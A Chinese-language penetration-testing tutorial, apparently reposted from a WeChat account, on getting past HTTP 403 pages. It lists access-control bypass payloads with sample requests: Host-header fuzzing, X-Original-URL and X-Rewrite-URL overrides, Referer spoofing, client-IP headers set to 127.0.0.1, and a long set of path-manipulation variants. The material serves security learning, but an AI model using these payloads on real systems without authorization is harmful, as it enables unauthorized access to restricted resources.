0x01 前言
做滲透時經常會碰到掃到的資產403的情況,特別是資產微乎其微的情況下,面試有時也會問到,這里做個總結!
0x02 利用姿勢
1.端口利用
掃描主機端口,找其它開放web服務的端口,訪問其端口,挑軟柿子。
2.修改HOST
Host在請求頭中的作用:在一般情況下,幾個網站可能會部署在同一個服務器上,或者幾個web系統共享一個服務器,通過host頭來指定應該由哪個網站或者web系統來處理用戶的請求。而很多WEB應用通過獲取HTTP HOST頭來獲得當前請求訪問的位置,但是很多開發人員并未意識到HTTP HOST頭由用戶控制,從安全角度來講,任何用戶輸入都是認為不安全的。
修改客戶端請求頭中的Host可以通過修改Host值修改為子域名或者ip來繞過來進行繞過二級域名;首先對該目標域名進行子域名收集,整理好子域名資產(host字段同樣支持IP地址)。先Fuzz測試跑一遍收集到的子域名,這里使用的是Burp的Intruder功能。若看到一個服務端返回200的狀態碼,即表面成功找到一個在HOST白名單中的子域名。我們利用firefox插件來修改HOST值,成功繞過訪問限制。
3.覆蓋請求URL
嘗試使用X-Original-URL和X-Rewrite-URL標頭繞過Web服務器的限制。通過支持X-Original-URL和X-Rewrite-URL標頭,用戶可以使用這倆請求標頭覆蓋請求URL中的路徑,嘗試繞過對更高級別的緩存和Web服務器的限制
Request
GET /auth/login HTTP/1.1
Response
HTTP/1.1 403 Forbidden
Reqeust
GET / HTTP/1.1
X-Original-URL: /auth/login
Response
HTTP/1.1 200 OK
或者:
Reqeust
GET / HTTP/1.1
X-Rewrite-URL: /auth/login
Response
HTTP/1.1 200 OK
4.Referer標頭繞過
嘗試使用Referer標頭繞過Web服務器的限制。
介紹:Referer請求頭包含了當前請求頁面的來源頁面的地址,即表示當前頁面是通過此來源頁面里的鏈接進入的。服務端一般使用Referer請求頭識別訪問來源。
Request
GET /auth/login HTTP/1.1
Host: xxx
Response
HTTP/1.1 403 Forbidden
Reqeust
GET / HTTP/1.1
Host: xxx
ReFerer//xxx/auth/login
Response
HTTP/1.1 200 OK
或者
Reqeust
GET /auth/login HTTP/1.1
Host: xxx
ReFerer//xxx/auth/login
Response
HTTP/1.1 200 OK
5.代理IP
一般開發者會通過Nginx代理識別訪問端IP限制對接口的訪問,嘗試使用X-Forwarded-For、X-Forwared-Host等標頭繞過Web服務器的限制。
X-Originating-IP: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Client-IP: 127.0.0.1
X-Forwarded-For: 127.0.0.1
X-Forwared-Host: 127.0.0.1
X-Host: 127.0.0.1
X-Custom-IP-Authorization: 127.0.0.1
如:
Request
GET /auth/login HTTP/1.1
Response
HTTP/1.1 401 Unauthorized
Reqeust
GET /auth/login HTTP/1.1
X-Custom-IP-Authorization: 127.0.0.1
Response
HTTP/1.1 200 OK
6.擴展名繞過
基于擴展名,用于繞過403受限制的目錄。
site.com/admin => 403 site.com/admin/ => 200 site.com/admin// => 200 site.com//admin// => 200 site.com/admin/* => 200 site.com/admin/*/ => 200 site.com/admin/. => 200 site.com/admin/./ => 200 site.com/./admin/./ => 200 site.com/admin/./. => 200 site.com/admin/./. => 200 site.com/admin? => 200 site.com/admin?? => 200 site.com/admin??? => 200 site.com/admin..;/ => 200 site.com/admin/..;/ => 200 site.com/%2f/admin => 200 site.com/%2e/admin => 200 site.com/admin%20/ => 200 site.com/admin%09/ => 200 site.com/%20admin%20/ => 200
7.掃描的時候 遇到403了,上目錄掃描工具,掃目錄,掃文件(記住,掃描的時候要打開探測403,因為有些網站的目錄沒有權限訪問會顯示403,但是在這個目錄下面的文件,我們或許能掃描到并訪問 )
-
服務器
+關注
關注
14文章
10253瀏覽量
91484 -
URL
+關注
關注
0文章
142瀏覽量
16221 -
滲透
+關注
關注
0文章
22瀏覽量
6523
原文標題:滲透測試如何利用403頁面
文章出處:【微信號:菜鳥學信安,微信公眾號:菜鳥學信安】歡迎添加關注!文章轉載請注明出處。
發布評論請先 登錄
TI TFP403 PanelBus?數字接收器:高速數字接口的理想之選
CW32F030 FLASH的頁擦除操作
AppTest邀請測試---邀請用戶參與測試
AppGallery Connect(HarmonyOS 5及以上) --公開測試創建并發布測試版本(一)
AppTest邀請測試---創建測試群組(二)
AppTest邀請測試---創建測試群組(一)
【潤開鴻HH-SCDAYU800A開發板試用體驗】第2個桌面簡單的程序改顯示為2頁面
【匯思博SEEK100開發板試用體驗】06 天氣app--使用組件導航實現設置頁及頁面跳轉
利用onPageShow實現返回刷新的操作
《仿盒馬》app開發技術分享-- 用戶登陸頁面(靜態)(20)
403 Forbidden是什么意思?最佳解決方法有哪些?
NC403(C50)高性能噪聲二極管現貨庫存
如何在KaihongOS操作系統中寫一個動態的頁面
Allegro Skill布局功能之按頁擺放器件介紹
安全檢測 高效合規 | 經緯恒潤重磅推出PeneTrix滲透測試平臺
滲透測試如何利用403頁面
評論